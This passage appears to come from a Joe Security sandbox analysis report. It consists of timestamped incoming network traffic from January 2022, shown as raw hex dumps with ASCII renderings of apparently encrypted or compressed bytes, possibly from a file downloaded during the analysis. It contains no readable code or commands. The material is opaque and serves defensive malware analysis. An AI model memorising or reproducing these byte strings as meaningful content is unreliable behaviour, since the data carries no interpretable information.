2022-01-15 19:23:31 UTC 2491 IN Data Raw: 55 06 10 60 a0 d4 73 45 c2 f6 22 b6 0b 96 32 d0 58 73 78 72 ef f1 24 18 47 73 7e 58 0f 02 b2 6d ef 21 a8 f8 27 7e 04 cb 27 cf c4 52 e0 45 86 f7 c0 74 6c 9a b0 dc 3b a3 7c b1 7e 1e 74 e4 9b 22 57 0b 02 95 58 16 31 7e 36 82 d2 ae 8f b4 74 cb 7c fd a9 68 b9 ea 02 a6 05 4d ab 91 cf 6a da f7 74 29 dd 71 db 51 8f 5a ca 8a 4d 78 b7 fa 70 0c de b0 d0 9d 9c 1d e2 66 69 6e fe 2f f4 bb cf 40 d4 82 78 2a ab c9 87 bf f0 bd 7b 18 68 5e 0b 2e 2d e8 9f d0 06 14 9d 9d 51 f8 4b 2d 07 88 30 55 b4 8f 14 65 a4 8e df 0e fe c0 dd 6f 7a 5a 1c b0 0b d4 79 2a 9b 0c 9b b9 1f 73 d3 93 ed 75 19 78 99 21 c0 e3 d5 c7 3b 53 73 34 9f 1b 83 75 38 90 03 71 1d 63 c9 0f ca db d4 22 c1 4b 5c b0 b5 b9 9a 85 61 41 2e 8a ca 61 e8 41 98 ec 90 31 86 75 4c 28 fd 4b 2e 49 e5 ea cf 9f 98 c8 4b 1c 03 Data Ascii: U`sE"2Xsxr$Gs~Xm!'~'REtl;|~t"WX1~6t|hMjt)qQZMxpfin/@x*{h^.-QK-0UeozZy*sux!;Ss4u8qc"K\aA.aA1uL(K.IK

2022-01-15 19:23:31 UTC 2507 IN Data Raw: 58 90 43 3e 2b 50 66 48 08 5f a5 83 6d b1 6a d5 0f d3 9c bf 0e a8 25 d0 d6 e5 fa b4 93 e9 43 60 48 69 bb 4c ee 71 71 fc dd 09 83 0b a2 f2 a4 44 e7 0e d7 e9 f7 92 7b a6 cd 05 59 e8 45 b3 c8 e8 cf 55 3b f3 43 8d 6e d2 c1 80 66 ad 60 4f 80 97 30 bb 35 a1 5c c5 4b d8 a9 ea 13 7f 1b cb 4c 81 38 e5 79 25 fc 51 f7 06 d8 db 65 66 94 2c b3 44 b4 3a 03 d1 4d c6 6d 64 f9 93 7d 69 f8 09 3f c2 81 ff 68 60 56 b0 89 77 e7 fe 39 0f 25 6d 30 d8 42 82 f4 62 9a bb c5 96 d8 e8 22 4e 91 4c d5 2a 46 f7 26 15 86 df 9d f1 94 72 33 66 a1 2c e2 3e 59 d8 f7 7d 0e a8 49 eb 4a d5 87 59 00 52 30 80 bb 91 9f ce cc 89 db e8 7b 95 71 6f 54 f2 b7 e8 bd 59 2d 33 51 c4 ff c0 6e cc e2 a4 26 6f 4e 0f 5e 30 ae 48 dc d9 0c 03 cb 10 92 2d a2 d5 3a 1d 24 5c e5 49 9e 77 a4 3b f3 80 8a 96 3d 2b 5f Data Ascii: XC>+PfH_mj%C`HiLqqD{YEU;Cnf`O05\KL8y%Qef,D:Mmd}i?h`Vw9%m0Bb"NL*F&r3f,>Y}IJYR0{qoTY-3Qn&oN^0H-:$\Iw;=+_

2022-01-15 19:23:31 UTC 2523 IN Data Raw: b5 81 b1 e3 af 41 67 c0 1b 62 0f 01 52 b9 89 11 1b 04 57 98 0d 76 06 90 68 c6 18 3b 6d 38 6d 4a ba af fb 0d ae a4 14 f8 20 77 11 74 3f fd e6 e2 57 9d f2 7e 11 85 33 98 86 67 3b 07 aa ee ad 8d 8f 79 8d 5a d2 7d 6d 19 a7 0c 13 1c 23 1e e8 6f 0e 17 4a 94 01 60 9c 0d 48 b0 45 a6 40 5a 15 2b fc 62 dc 5e fc 17 f7 47 d4 8f ef 8f e1 a4 ba 9e 63 9d 28 f3 70 53 34 fd 14 13 5f 23 b9 a5 e9 7d 57 c3 10 f0 3e 75 8a 36 27 b5 ef 67 cb 91 a4 cc a5 a0 f6 a6 a9 5f 6f b9 8c 3e e4 e3 8b 96 11 83 56 be 62 67 7a 89 23 b6 69 25 e3 32 15 8d fe 08 78 3e ec 3d 9f eb e1 c9 ec 20 24 2a 7e aa 3c 96 20 81 ed 43 fd 4c 84 8e 52 39 39 6e 14 91 a8 7b 13 a5 5c 02 0f 3f a8 55 c4 88 de 4d cd 25 ac 65 79 03 cd b0 04 b5 04 5b 6d 0e b5 83 9f b1 3a 8d 72 e3 e8 4f 6d 47 75 11 34 b3 b7 16 d7 6b a3 Data Ascii: AgbRWvh;m8mJ wt?W~3g;yZ}m#oJ`HE@Z+b^Gc(pS4_#}W>u6'g_o>Vbgz#i%2x>= $*~< CLR99n{\?UM%ey[m:rOmGu4k

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 46 of 103

2022-01-15 19:23:31 UTC 2539 IN Data Raw: 9f 1e 47 10 a6 7d 89 75 c6 94 fc 28 bb ac 8b 21 fe aa b4 68 22 f8 02 ab 43 cc 46 62 85 4a ef e1 bc e5 2d 7c 24 05 ef 89 bd 51 a6 08 cb 8f 77 bb 5b 50 3b fe b7 aa 37 b9 29 d1 b7 a7 0a 68 8f 77 75 88 9d 9c 36 63 91 44 5b 2e 26 91 f1 32 6e 32 63 22 ee d3 41 ff b3 ab 20 cc 8f 67 9c c5 48 dd b5 d2 39 47 5a fc 72 9f 61 62 32 61 85 4e 4e e1 b6 7c 67 30 2e 86 35 3c dc a7 95 63 ea c7 18 75 72 71 4e ad a2 3e f5 89 1a fb ea 87 d9 5e 7d ff 5d ef 92 54 0c f1 b0 a8 8a d7 f5 96 8e 51 ef 2f a1 3a 87 5a e6 fa af 35 0f 17 54 20 f1 ec cd 05 30 cd 39 f8 a7 47 f9 ac ad f7 9b 39 15 8e 92 2e 90 08 c0 e1 00 c8 40 59 07 27 83 ed f2 8f fe 99 75 fc 9f cf ba 38 b8 fb b3 2b fc 52 54 62 25 64 22 b4 fc fc 06 fe 1a 1b 4b ca 3a 9a 83 46 3e 5f 41 b2 c5 c9 6e 98 90 55 97 6d 50 d4 6a 10 e0 Data Ascii: G}u(!h"CFbJ-|$Qw[P;7)hwu6cD[.&2n2c"A gH9GZrab2aNN|g0.5<curqN>^}]TQ/:Z5T 09G9.@Y'u8+RTb%d"K:F>_AnUmPj

2022-01-15 19:23:31 UTC 2555 IN Data Raw: a0 88 8c cb f6 88 47 04 24 e7 33 0f c7 00 d2 45 26 d9 f4 a3 c6 b9 74 33 7d 71 00 27 1c 66 af b6 e8 13 9c e1 d3 08 29 6e e7 ff 8f 87 ac 06 84 7b 96 60 39 40 2e d5 7f d2 d8 fc 1f f1 b1 88 f0 11 f7 75 be e8 1b 85 d8 5b 92 a2 d5 5f fa 10 22 2c 6c 63 6f 43 18 f5 5c 70 73 b4 63 2d 7b ac 06 80 a8 99 dc 70 a7 c6 4a fe 3d 33 44 61 55 15 eb f9 8b e7 e2 72 38 6d eb 8c 04 2f 61 ac d5 99 9e a2 73 b6 10 2d 5b 30 23 97 7a 51 5f 07 e2 ac 1e d5 7d 73 8e 68 48 2d c3 0e d3 b0 27 79 33 bb 74 9f a1 77 f4 2b fc e0 69 0c 4c fb b3 35 9a 8d 19 f3 84 ce c4 38 51 66 7d 75 b4 28 e2 9f ef 7c 43 cc 17 6b b3 ac 75 8b 1a 12 93 b2 b2 6f 48 72 7c 66 ab 75 5a 0f b5 4d f3 28 fc 18 00 99 82 f5 3f 1a 51 b6 11 a1 89 4c dc 0f a7 2f a2 54 f1 7f e7 d9 77 9d 84 2d 49 dd fd 14 dd d4 c6 d2 90 a7 87 Data Ascii: G$3E&t3}q'f)n{`[email protected][_",lcoC\psc-{pJ=3DaUr8m/as-[0#zQ_}shH-'y3tw+iL58Qf}u(|CkuoHr|fuZM(?QL/Tw-I

2022-01-15 19:23:31 UTC 2571 IN Data Raw: 21 3f 47 b5 11 91 8e f1 d1 1d 60 3e 31 62 13 7e 17 fb 5e dc 82 f2 e0 9c 7b e6 ac ec 45 98 0d f8 e6 01 c7 00 00 be bd 62 de ab 6e d3 0e 4c cb 22 6b 2e 76 66 4a f7 f6 49 50 8e b5 19 3c 0b 10 79 ee ba c3 52 46 5f 28 68 fe e8 88 02 ef 37 b0 f3 fa ed 62 d2 62 1a 0b 00 ba f8 b5 f4 f8 a4 97 92 b1 35 53 40 5e 52 f3 2e 96 1d 20 d0 69 57 ac 2e f7 da b7 2b 5a 66 8f 7a 1f 1e 23 02 1e 05 41 2c 09 95 1e 9c f1 d6 43 ce 9e 83 b8 21 1d 16 bd b0 cb 7a 08 e0 0d 7e 0d 47 5c b3 92 24 25 4e 61 7e 19 38 a1 6b 33 53 6f e0 72 64 60 4d 87 30 b5 a5 6a 48 2c 95 5c 92 7d bf 39 a3 12 f1 6e cb 08 f5 fe 21 ee 43 a2 8f e3 d7 36 fd 02 ce e8 da f8 54 2f 31 9e 6e 87 55 0e 5e 21 93 89 ec 4f e5 f3 e8 f0 85 94 4e 3a 9c e7 90 0d e8 f7 1e 6c f3 2e ab 14 c2 3c f2 60 ba 24 74 ad 28 93 d6 59 16 2b Data Ascii: !?G`>1b~^{EbnL"k.vfJIP<yRF_(h7bb5S@^R. iW.+Zfz#A,C!z~G\$%Na~8k3Sord`M0jH,\}9n!C6T/1nU^!ON:l.<`$t(Y+

2022-01-15 19:23:31 UTC 2587 IN Data Raw: d3 ad 73 ef 6c 43 90 67 cb 3c 5f 30 59 a8 df 8f f3 b8 85 12 d6 a9 0b ed e7 f6 e1 23 39 8a 5d bd b3 86 73 67 34 af 0e a9 cf 81 b6 4d db 6d c0 b7 99 67 19 d8 f4 47 a9 c9 90 ad 92 2a fd 5a 12 84 87 d0 dd 68 c7 91 ef 09 2f 0d 3a 24 3c a5 79 28 8b c6 7c a8 48 0b 42 53 ec 96 fb 03 79 f2 02 a7 c7 6a 69 a8 e2 44 2e 4d 5d 1b 28 20 e9 66 93 45 17 41 e0 63 b5 1c d1 03 f6 d4 8c 38 4b ec 7f 9c c8 4e 24 4c d6 42 05 b8 f8 a0 7c aa 06 4d 7f 99 50 62 ee 3e 5d 02 26 28 03 79 8b 4d c3 52 bc 4b 55 23 37 10 2d 9f ce 5f 0f 2c d0 f7 24 34 c8 d9 6d ea 1a 56 16 a0 80 3a 54 8a 17 f9 07 2a 96 1c 93 92 8a 8e 0d cd 6c 4b f9 47 b7 cc 90 4c 21 c1 d1 4b ea f6 57 63 dc 88 81 39 2f 35 d1 77 63 ed 88 56 ab be 00 86 16 83 ad 44 d1 bf 43 f6 5b 51 dc 39 ef e3 3d e3 6c b9 c1 9f 38 22 11 5d 7e Data Ascii: slCg<_0Y#9]sg4MmgG*Zh/:$<y(|HBSyjiD.M]( fEAc8KN$LB|MPb>]&(yMRKU#7-_,$4mV:T*lKGL!KWc9/5wcVDC[Q9=l8"]~

2022-01-15 19:23:31 UTC 2603 IN Data Raw: 63 a5 b9 18 2f 50 45 42 1e 9f 4b d4 94 3c 81 2f c9 f6 7b 5d 92 c7 cd e7 1c 6f 6c 89 63 c1 73 78 20 3c cb b6 92 e4 0a 0e 96 15 ae 85 fc 9f 88 54 a1 8e 24 67 b1 b6 c0 b1 9f d1 cf a3 5c 5b 13 9c 1f c6 a6 81 cf 3b b6 85 25 a2 7b 09 5c e2 37 d7 9c d2 86 b2 42 ce b2 b1 b4 0a d4 a1 eb f9 71 e5 17 37 ab fd 68 50 1f 0b b1 7b 9a 80 51 74 7c ce b2 da e8 41 4a ec 5f 01 bd c8 23 96 7b 7f f8 18 8a f5 fa bd b5 e4 bc e9 23 16 4c 9e 11 31 af a6 7e e3 a4 b4 9b db 50 db 44 55 07 66 42 84 f7 04 4b 9d bc 1c cf 19 70 55 7b 2f 81 e1 d1 ab 23 b0 c0 fe 18 ed 9a c1 99 bb 86 b1 06 d3 24 d3 9e be a7 b0 16 2c 65 95 ce 61 b4 25 28 ec 62 bf 64 2f b1 58 34 fc ac e2 63 54 b5 81 e9 5e 5d d7 8b ed f2 64 37 a7 60 26 fb 38 16 ce 25 2d 61 7d 86 12 dc 6a 41 e6 ee 9f c0 79 58 91 c8 cc 42 fd 2b Data Ascii: c/PEBK</{]olcsx <T$g\[;%{\7Bq7hP{Qt|AJ_#{#L1~PDUfBKpU{/#$,ea%(bd/X4cT^]d7`&8%-a}jAyXB+

2022-01-15 19:23:31 UTC 2619 IN Data Raw: ba cb 26 6d f8 87 c1 f3 62 9a f5 98 8c 34 b3 e7 3c 12 dc f1 1c 4f ff 72 d6 42 3a 73 86 12 b8 f1 96 fb 93 14 b5 91 58 53 d1 16 2e fa f4 bb 13 04 3e 84 bc 6b 73 f3 cc 47 d8 14 35 a1 25 d0 f4 04 ec dc 33 ea e4 de 98 01 2b ff f9 6b e7 b9 c2 ee a7 dc 8b 7c 07 f0 9c d0 29 d0 f8 7e f7 2f 2c c0 fe e0 c9 91 2e f7 48 a6 58 5a 0a 07 af c0 1a 4f 26 7f bb c1 76 a2 3e dc 8e e9 f8 d1 9c 18 de 13 c3 30 8f d1 f7 e1 eb ea a4 eb c8 38 5d 5a c3 fc d8 20 c4 40 dd 0b ff 2a 5b 52 69 b4 73 76 59 3e 5c f7 6a 5e 30 b8 c0 1f e0 b7 ad 46 ff b4 0e 42 40 5e c7 49 2e 60 82 a0 31 03 17 47 0f e3 dd 44 68 02 19 80 82 56 96 32 e5 07 1c 72 6b cf 05 3b e4 c2 f5 6f f3 94 08 06 fb af 53 8b 49 9e fa ed ff 93 78 7a e4 fc a2 d0 61 87 e6 43 c6 b4 21 71 e0 37 59 83 b2 96 7f f8 bb 6c 7a ae a9 62 24 Data Ascii: &mb4<OrB:sXS.>ksG5%3+k|)~/,.HXZO&v>08]Z @*[RisvY>\j^0FB@^I.`1GDhV2rk;oSIxzaC!q7Ylzb$

2022-01-15 19:23:31 UTC 2635 IN Data Raw: 8a 53 fb c7 76 89 4c 03 b8 0b 05 39 e7 7e 3a 67 10 bc 8a 07 fe e6 f6 45 f5 4e bb 12 c8 13 0c 70 0d 6e 71 b8 3a 0f fd 1f 19 ef 0d 69 72 14 61 a6 55 d8 57 e4 04 0b 67 48 d6 aa b9 df 32 26 6c fb f3 96 5b de a6 cb 66 20 1d fd 59 c6 a0 d1 73 24 07 17 ed 4d 5c 26 fa 08 f0 e3 10 c9 ad b4 8e 63 0c aa a0 7b 9e e3 24 3c d3 bb b8 9c 77 aa 6c 32 65 a7 62 a1 72 f7 79 b1 51 b1 0a f7 7d 1e ed f4 de 31 4e ee 02 2d 78 26 3b 08 6d c5 de ea 56 6c 4e d4 d3 36 19 6c 8b fd b6 8d 19 66 84 2b 82 47 0a 3b 15 0e 14 e7 73 45 df be 3b 53 f6 1e 05 77 1d 1c 8b 9a 30 53 62 60 27 6f 17 d1 55 cb 3d 29 ae 4a 7c e0 86 54 6f ef 03 2c 68 ab 0d d4 94 5d c5 3a 40 3f 59 88 58 94 d2 7f 1b ef e0 2a 96 7b 86 5e a3 ce f8 93 1e 0b db 15 4e b2 d3 48 c8 75 a4 fd 35 62 75 be 37 b6 f3 29 88 aa b9 0f 0f Data Ascii: SvL9~:gENpnq:iraUWgH2&l[f Ys$M\&c{$<wl2ebryQ}1N-x&;mVlN6lf+G;sE;Sw0Sb`'oU=)J|To,h]:@?YX*{^NHu5bu7)

2022-01-15 19:23:31 UTC 2651 IN Data Raw: 99 8a fb 74 a7 ec 5d 31 8d ef 28 eb b5 d2 a8 4f 00 07 4f 02 e8 17 e2 39 d6 3d 15 af b5 10 74 25 d0 93 3a e9 0a 0c 9e da f1 75 2d 3d 6f 0f 46 cd e9 6f 3a 8b d1 0c 41 af 6e b0 30 cc 2d 27 ce a1 e8 56 37 8a 7d 1b 11 3e 72 66 f5 f1 c6 a0 86 0a 03 29 35 85 4c 08 b8 3f b4 a8 b7 40 b7 a7 06 af 6b fb 9e de 81 d2 5f 0f 70 a7 b0 99 de e6 81 e6 2d b1 78 2f de c2 20 40 85 9d 4b 93 de 17 6c 58 8c d6 16 58 b0 ff b0 08 2e cb 6e db 19 61 22 88 7c 63 02 56 35 58 e7 c9 0f 1f 0d 86 f3 62 64 cd 93 e4 3d 57 e0 00 9a 72 6f df 13 60 1f c1 54 d0 b3 86 fb 67 d3 d1 94 aa ce 0d 6f 51 0b 7d e3 69 14 fc 4a f6 bf ab 74 a0 69 7d 06 57 09 17 f0 01 e8 a8 e7 af 86 15 b2 e1 83 64 72 2a d3 e6 73 4b 4e 20 d3 36 51 1a 77 68 e4 8f 8c c2 7e 1b 8d 75 97 5c 75 87 93 97 f6 42 4c f2 54 18 91 37 87 Data Ascii: t]1(OO9=t%:u-=oFo:An0-'V7}>rf)5L?@k_p-x/ @KlXX.na"|cV5Xbd=Wro`TgoQ}iJti}Wdr*sKN 6Qwh~u\uBLT7

2022-01-15 19:23:31 UTC 2667 IN Data Raw: 90 e6 2f 88 a6 33 e1 4f 13 47 d6 e9 fd 93 c5 25 2d fb dd 4f 19 a5 91 26 46 6f c7 c6 e1 5e 21 6b c2 db 9c e9 ca 4a dc 05 f2 7d b2 24 ec 37 d0 e5 9b 34 23 71 62 fa 16 4a b2 f4 2e c7 39 f6 c3 43 89 b8 d1 03 a3 8b 71 34 39 6d 12 5a 26 f5 b7 0b 9c 4a fb 48 84 51 8c e1 ed d7 42 85 70 53 d9 73 07 38 52 a1 75 fd 5a 93 46 de cd 22 fa 0a c2 d2 58 83 6d bb f9 bc e2 e3 69 21 fe 2a 7d ad 4d 95 37 8e df 4b d6 b2 ee 0e b7 0d be 7c 11 ab e6 00 11 ee 14 0c 22 22 58 1e ea 63 9f 8f 30 06 66 66 f5 93 e4 dc 47 12 c8 17 53 eb a6 fd 64 49 d9 31 de 5c ea e8 90 bc e9 f2 e3 fb 33 0d c4 9a bf 25 47 e5 6d 95 f3 72 d3 d8 46 4c c1 ea 51 66 29 c2 69 15 8f 1b 3b 67 46 4c 0b 26 0b 3a 98 32 6f 6a f5 d7 24 72 1f 2a 14 3a 95 7d fe 66 d2 74 94 43 cd 2c 96 72 0f 80 8c 2a 2d 3c 0e 33 28 47 44 Data Ascii: /3OG%-O&Fo^!kJ}$74#qbJ.9Cq49mZ&JHQBpSs8RuZF"Xmi!*}M7K|""Xc0ffGSdI1\3%GmrFLQf)i;gFL&:2oj$r*:}ftC,r*-<3(GD

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 47 of 103

2022-01-15 19:23:31 UTC 2683 IN Data Raw: e9 62 7e ad 7e 3a a1 5f fc b4 83 1c 31 54 23 65 f5 6d 4a 03 b8 10 b0 ad ee ca f0 3c 82 cc 78 fe b8 6a de ff 28 59 52 af 6f 1b 95 14 70 16 ad 01 62 e8 af 34 de 33 3d 62 b2 53 82 fb da d9 3b b5 5b ed 2c 52 38 76 66 6f 1b 94 77 a6 d6 ea fa 98 ab cb 2d 5a 0c 62 8a 19 78 b9 4f 23 ff 3d e1 9f 3c 18 0f a2 24 2c 09 af 85 a5 12 82 41 f7 28 2c dc d7 0a 70 6f 1c 88 fd cd 0e 62 07 78 2c fa c9 55 3d 1e 2d e8 cf 1b 8a f9 64 1c aa 33 4a 4b 2c da a1 3c e9 9a 9f 22 13 dc f0 66 cd 70 d0 bc 3d cb 9e ca fd bb 65 a8 01 93 5e 8e 29 3e 0f 26 98 d5 fb 29 c3 e3 af 7c 02 91 10 2c df 02 1b 9f 92 f1 92 5b e2 b3 2f 68 25 a5 c3 07 44 dd 9f cd 90 36 e4 a9 d3 17 9a a7 c2 e4 2c cd f6 f6 b2 3e ea 98 cb b1 e7 49 b3 28 d3 5d 04 d5 9f 6a 61 a8 6c ffcf 82 6c d3 61 02 9f c7 30 3c 6a e1 39 46 Data Ascii: b~~:_1T#emJ<xj(YRopb43=bS;[,R8vfow-ZbxO#=<$,A(,pobx,U=-d3JK,<"fp=e^)>&)|,[/h%D6,>I(]jalla0<j9F

2022-01-15 19:23:31 UTC 2699 IN Data Raw: dd b5 5f 55 91 a5 e4 32 02 56 ab 98 bf f8 70 17 c3 04 56 e8 5f 86 fa 66 43 a4 82 e0 30 e2 60 de ec 45 54 c3 aa 6b b3 89 96 a3 ad 07 9b cb e9 19 08 e1 0a 32 8b 45 4a 44 2a 25 84 e3 f0 1c be a9 75 e5 2d b2 69 2a b2 7c c5 14 21 27 a5 72 ce 5a a6 60 f1 70 76 f2 72 93 54 37 3a 14 6f 07 63 89 55 31 33 16 9c ee 81 10 3f a3 ce 3c 71 a4 7f 9b 08 b3 ea bf 1c4b e8 ac a2 6f 49 16 67 f9 00 2c 4e 3b 8e 27 c0 d6 ff 34 e6 34 59 56 62 44 8e 6b 6b 0b e3 c1 fb f8 f9 b9 d4 63 08 89 5c 22 b3 a8 0e 31 06 2a 94 59 9c a2 c8 a8 3c 1e f6 40 f6 2b 4c e2 04 1a 2c 85 07 86 d5 e6 65 03 b1 42 a3 b3 3b f9 db e2 6b 75 e2 cd c9 82 66 da c1 44 d5 69 8d f8 a0 78 92 de c1 48 ad 3b 26 cc 13 d1 6b 51 d1 42 3d e9 87 df e7 86 52 3a bb 7c 27 29 80 72 9b 45 8d 83 64 e2 bb 9d b9 39 a5 79 b6 af d5 Data Ascii: _U2VpV_fC0`ETk2EJD*%u-i*|!'rZ`pvrT7:ocU13?<qKoIg,N;'44YVbDkkc\"1*Y<@+L,eB;kufDixH;&kQB=R:|')rEd9y

2022-01-15 19:23:31 UTC 2715 IN Data Raw: e2 18 9d 09 4a 5e a1 c0 f9 65 8b ad ca e5 c3 b2 60 98 e8 5b f6 4e 25 a9 92 8b d7 08 57 ee f8 64 d5 98 92 6e a5 11 76 bd 87 c3 39 61 06 bc 8b 41 6e bc 80 39 01 a9 6b a6 aa 13 ce 3b f1 e3 75 70 4b c7 9f 36 c2 7d 23 3a e8 ad 2b 85 73 de 0c 0d 2a ef 5c 1e 59 69 79 f8 73 cf 5b 80 82 06 f9 3a bb b9 b1 cd 97 57 95 35 7a e2 5c f8 ba e2 94 00 d2 6b 8a d9 ca 3a 3a 26 9b 3c ce 70 2b 90 2b c1 b6 0f de 48 a0 7a 0e 8e 08 6d 9a 80 35 d4 66 70 26 3e e2 34 1a c4 9c b8 23 73 d5 8a 78 4b 8d 7e af e5 99 6b 13 6b d9 d4 1c d9 cf ef cd 9a 04 e1 1b c1 fc 85 e5 fb 24 9a 75 26 52 4d 11 bb d5 3e 5b 75 83 65 05 60 fc 5b 5d bb 80 eb a9 36 d2 1a 90 cf 2b 03 c3 0c 35 46 9b eb c7 f6 01 1f 6f cf 3c 95 f7 3a a3 2f 8d 8c 74 f8 88 80 2e ed 54 41 28 fe a5 12 ba 6a ef 35 55 8c a0 c0 b6 56 b9 Data Ascii: J^e`[N%Wdnv9aAn9k;upK6}#:+s*\Yiys[:W5z\k::&<p++Hzm5fp&>4#sxK~kk$u&RM>[ue`[]6+5Fo<:/t.TA(j5UV

2022-01-15 19:23:31 UTC 2731 IN Data Raw: fe df 5c e8 33 1f 88 94 9a f8 8e a4 a2 20 6a cc ee 62 a6 3e 99 7a 38 9d 00 bb 3a ca 05 94 68 34 95 e3 74 96 8a 4a 98 8f 0e 69 6e 97 a5 e2 4a 1e b2 33 22 43 01 47 47 b1 a3 03 54 77 2b 7f 6b ea 84 7f c4 f4 52 45 e2 b4 4a 7d 0f 91 45 58 fb 61 2f bf ff ef 38 8b 1c 16 1d a7 25 26 4a 31 b2 35 9d c9 d8 ac b8 62 94 6a c1 fe 96 9a 8d d4 60 fa e2 8d 27 7a 15 2f d2 a5 c9 30 8d 82 fe c7 76 5c cc e7 d5 61 34 e8 44 8b 0f f1 cd 41 40 5e 73 2c 47 12 4f 65 eb 81 f0 b4 1c 2e 98 2a 47 11 4a 6d a2 80 f0 a8 4b 9a d5 4f 54 0e 52 53 8c d4 80 04 b5 fb 50 a9 2c 94 57 30 cc 17 86 94 7c 6b 25 06 06 7b bd 27 78 c8 64 d5 79 b0 5d e0 a1 ea db 7c 59 bd 86 27 e2 95 10 e3 4c 69 49 c4 bf 1f 21 30 ce d9 49 6d 6c 8c 6c 88 b0 8c f8 7c 03 fa de c4 df 85 03 43 cf 7d 8b 04 90 5e f6 0e 7c a9 86 Data Ascii: \3 jb>z8:h4tJinJ3"CGGTw+kREJ}EXa/8%&J15bj`'z/0v\a4DA@^s,GOe.*GJmKOTRSP,W0|k%{'xdy]|Y'LiI!0Imll|C}^|

2022-01-15 19:23:31 UTC 2747 IN Data Raw: bb fe 49 dc 05 3a 1c 25 11 de 48 f9 a2 cf ee b8 42 d3 79 3a b0 5e 23 22 bb 71 56 39 ab fc bb 61 e3 7f cc c0 d5 04 07 b6 00 42 62 cf 77 ba 23 72 43 e4 49 1e 6b 77 e3 0a b9 21 a4 06 c3 34 ea ce 99 48 2e ef ac 98 24 29 43 86 6f 3a b9 b6 bc e3 9e 5e 4c 46 d4 66 38 8f 8f b2 8c a0 85 8a 74 a6 22 56 35 4d a5 8c 02 00 7a 10 ca 22 05 75 6e e1 07 4e ee c2 af 2f 5d 14 d6 49 86 c7 fe ca f0 fb 9f 83 e2 a0 a9 23 14 05 96 b6 c6 6e e8 69 12 8a 91 75 c7 cf ad 66 4e 52 ee 1f 10 cc ed ae bf 78 ee 4b 0f 0f b8 5b 17 c1 c4 fb e9 9b 4c 37 5f cd 52 59 9e e2 55 75 6c 66 77 8f ba 06 ec 7d 61 a0 f8 61 92 fa e2 f1 3b 9f 2c 14 31 9d 5c a2 36 d3 52 69 c2 e5 c7 e5 ae ca 5b c7 fd bd 4c 08 90 f4 63 7d 2f f9 dc e1 12 22 7c 02 35 f3 1b 03 d9 90 52 52 9a 71 63 50 f9 b9 e0 b0 85 d0 b1 be dd Data Ascii: I:%HBy:^#"qV9aBbw#rCIkw!4H.$)Co:^LFf8t"V5Mz"unN/]I#niufNRxK[L7_RYUulfw}aa;,1\6Ri[Lc}/"|5RRqcP

2022-01-15 19:23:31 UTC 2763 IN Data Raw: 20 0f f1 bc bd 61 b4 b4 87 6b e4 b9 fb 6f 2c 22 04 84 1c 97 2b 16 f1 56 ee c0 ef 02 f7 2b 53 1b ae e8 bb 46 6b 98 bf 6e cf 44 77 9a f2 75 a2 39 44 64 c8 fb 4c 8e 99 f1 7d 60 02 80 d1 9e ce 76 03 c9 11 86 88 4d 92 5c c8 bd 39 2f 64 8b01 3a 6b 78 75 86 19 d6 5f 15 0e f0 28 e0 5f 96 b9 ab 1b 7e 6e 47 1c 8a 3f 35 69 7e 74 12 11 8d 93 43 5a 9d 1e cb fb 2d 36 4d 31 54 cf da 00 73 08 50 2b 86 7b 8b 68 81 31 a4 4c d8 c0 48 f2 ec a6 c0 60 41 42 3e 85 c6 ad a5 86 2e 61 69 5c 92 3e 54 8e 35 3b 73 30 56 1d 08 89 37 f2 13 ed 03 31 a7 21 a6 b0 ce f1 6f af 85 6c fc fe 5b 12 b3 53 0c 8d 24 d6 56 34 bc 6b 34 ee 4a 39 b4 eb f7 cc 37 2c e8 75 52 f4 62 30 6d 78 61 ff 86 9c 40 f6 28 eb d0 f9 a5 97 de ea 68 52 fa 94 d4 de 3c e2 70 77 5a ff a0 c5 47 51 8b 4e 0e 97 b8 82 59 16 Data Ascii: ako,"+V+SFknDwu9DdL}`vM\9/d:kxu_(_~nG?5i~tCZ-6M1TsP+{h1LH`AB>.ai\>T5;s0V71!ol[S$V4k4J97,uRb0mxa@(hR<pwZGQNY

2022-01-15 19:23:31 UTC 2779 IN Data Raw: 19 41 2c bf 64 4c 1a cf 3d 9c f2 87 26 73 fb cd be 24 90 34 95 1e b8 23 7b 53 71 05 33 32 90 df d6 82 eb 75 19 2d ca c4 17 38 bf 62 af 84 cc 7b 8d 56 cc 09 d8 07 f8 aa 26 ca f3 92 16 ef fb d1 8e b7 be 46 6f c6 93 89 6f 9b 54 e4 25 bb 74 5f 4e aa 1b 89 2e e5 b9 62 09 4b 17 10 5c f7 43 0f 6b b9 86 c6 ab 4c 01 ba 94 0f 41 54 93 30 1a 03 73 b6 f1 d2 29 02 4a 89 b2 ef 93 74 91 34 91 1d 19 a5 6b 39 91 a3 ed 87 62 91 82 6b 0c a1 63 7e ed a5 db c1 14 aa 51 33 93 33 24 17 fb 63 5b 46 b4 1a 15 56 1e f3 b3 18 fc ac a3 1e 91 d2 85 9b 84 da 5c 12 0d db 72 4c 1d d5 fb 4d 07 f7 60 77 0f a4 b5 30 3d be c4 3d 6f ee 38 de 8f ea ec de af ff ea 2f 7e 19 73 dd 38 20 a0 03 74 7a 76 2b 8e 59 1a 89 d3 ec 56 89 ba c5 38 1b d7 aa a6 30 3d ac 8b bf 04 e0 db 65 a9 43 29 7b 2a fd 7b Data Ascii: A,dL=&s$4#{Sq32u-8b{V&FooT%t_N.bK\CkLAT0s)Jt4k9bkc~Q33$c[FV\rLM`w0==o8/~s8 tzv+YV80=eC){*{

2022-01-15 19:23:31 UTC 2795 IN Data Raw: 34 fd fe ec 67 01 ce d2 d3 34 c8 43 d2 32 f1 5a 62 80 26 e6 7a 80 95 56 30 c3 07 52 5b f5 fa 3f 76 5b 91 66 cd 24 87 2b 42 e1 25 86 d8 75 34 8b 1b 34 fd 66 d0 9f f7 38 41 eb d0 e0 eb 25 7e 74 a9 94 e6 c2 c7 3b 33 2f c6 c5 28 70 ad ef 86 dc 0a 52 59 4d f7 65 8d 9e 0a d1 c9 1c c9 5d a3 a7 e2 25 2d f0 e9 de 73 ff d5 c5 f6 71 f7 1b 82 61 a0 fd 76 b6 07 6e 39 8b d1 bc 61 85 ae dc 94 68 23 45 94 4d 4a 47 24 3f 70 ed bd e1 72 cb 7e cd 45 44 b1 eb 93 d8 b0 61 8a 1d 73 33 04 69 37 ad 90 47 0d 9c 9b d9 49 17 61 e8 c1 ff 67 90 ad 34 2f 48 08 05 d8 48 d4 b2 3b 08 39 5c 78 18 8b 80 e3 f6 ec da 5d 67 6a ed 7f 9f 6a 33 b0 da 53 6d b9 ad 60 16 